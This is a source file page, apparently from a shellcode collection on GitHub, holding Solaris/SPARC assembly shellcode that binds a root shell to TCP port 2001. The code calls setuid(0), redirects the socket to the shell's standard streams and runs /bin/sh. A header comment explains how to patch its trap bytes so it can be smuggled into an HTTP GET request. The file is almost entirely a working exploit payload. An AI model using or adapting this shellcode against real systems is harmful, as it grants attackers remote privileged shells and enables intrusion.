-
Notifications
You must be signed in to change notification settings - Fork 1
/
shellcode-115.c
executable file
·92 lines (75 loc) · 3.19 KB
/
shellcode-115.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
!!! $Id: sparc-bind.s,v 1.1 2003/03/01 01:10:51 ghandi Exp $
!!! Bind /bin/sh to TCP port 2001. Calls setuid(0) so /bin/sh won't
!!! drop privileges. After assembly, change the third byte in the
!!! trap instructions to 0x38 to avoid having spaces in the input so that
!!! it may be used in an HTTP GET request. For Solaris/SPARC.
!!!
!!! "I've come here to chew bubble-gum and kick ass...And I'm all out of
!!! bubble gum."
!!! -- Nada (Roddy Piper), "They Live"
!!!
!!! -ghandi < [email protected] >
!!!
.global bindsh
.type bindsh,#function
bindsh: sub %sp, 16, %l0 ! struct sockaddr sa;
sub %sp, %l0, %l7;
st %l7, [%sp - 20] ! int sa_len = 16;
sub %l7, 14, %o0
sub %l7, 14, %o1
xor %l1, %l1, %o2
xor %l1, %l1, %o3 ! %o3 will be used as a %g0
sub %l7, 15, %o4
add %l7, (230 - 16), %g1
ta 8
xor %o2, %o0, %l2 ! s = socket(AF_INET, SOCK_STREAM, 0);
sth %o1, [%sp - 16] ! sa.sin_family = AF_INET;
mov 2001, %l6
sth %l6, [%sp - 14] ! sa.sin_port = 2001;
st %g0, [%sp - 12] ! sa.sin_addr.s_addr = INADDR_ANY;
xor %o3, %l2, %o0
xor %o3, %l0, %o1
xor %o3, %l7, %o2
add %l7, (232 - 16), %g1
ta 8 ! bind(s, &sa, sa_len);
xor %o3, %l2, %o0
sub %l7, (16 - 5), %o1
add %l7, (233 - 16), %g1
ta 8 ! listen(s, SOMAXCONN);
xor %o3, %l2, %o0
xor %o3, %l0, %o1
sub %sp, 20, %o2
add %l7, (234 - 16), %g1
ta 8
xor %o3, %o0, %l3 ! c = accept(s, &sa, &sa_len);
xor %o3, %l3, %o0
sub %l7, (16 - 9), %o1
xor %sp, %sp, %o2
add %l7, (62 - 16), %g1
ta 8 ! ioctl(c, I_DUP2FD, 0);
xor %o3, %l3, %o0
sub %l7, (16 - 9), %o1
add %o3, 1, %o2
add %l7, (62 - 16), %g1
ta 8 ! ioctl(c, I_DUP2FD, 1);
xor %o3, %l3, %o0
sub %l7, (16 - 9), %o1
add %o3, 2, %o2
add %l7, (62 - 16), %g1
ta 8 ! ioctl(c, I_DUP2FD, 2);
xor %sp, %sp, %o0 ! %o0 = 0;
add %o3, 23, %g1
ta 8 ! setuid(0);
set 0x2f62696e, %l0 ! (void*)sh = '/bin';
set 0x2f736800, %l1 ! (void*)sh + 4 = '/sh0';
sub %sp, 16, %o0 ! %o0 = '/bin/sh';
sub %sp, 8, %o1 ! %o1 = {'/bin/sh', NULL};
xor %sp, %sp, %o2 ! %o2 = NULL;
std %l0, [%sp - 16]
st %o0, [%sp - 8] ! argv[0] = sh;
st %g0, [%sp - 4] ! argv[1] = NULL;
add %o3, 59, %g1
ta 8 ! execve(sh, argv, NULL);
xor %sp, %sp, %o0 ! %o0 = 0;
add %o3, 160, %g1 ! %g1 = 160;
ta 8 ! lwp_exit(0)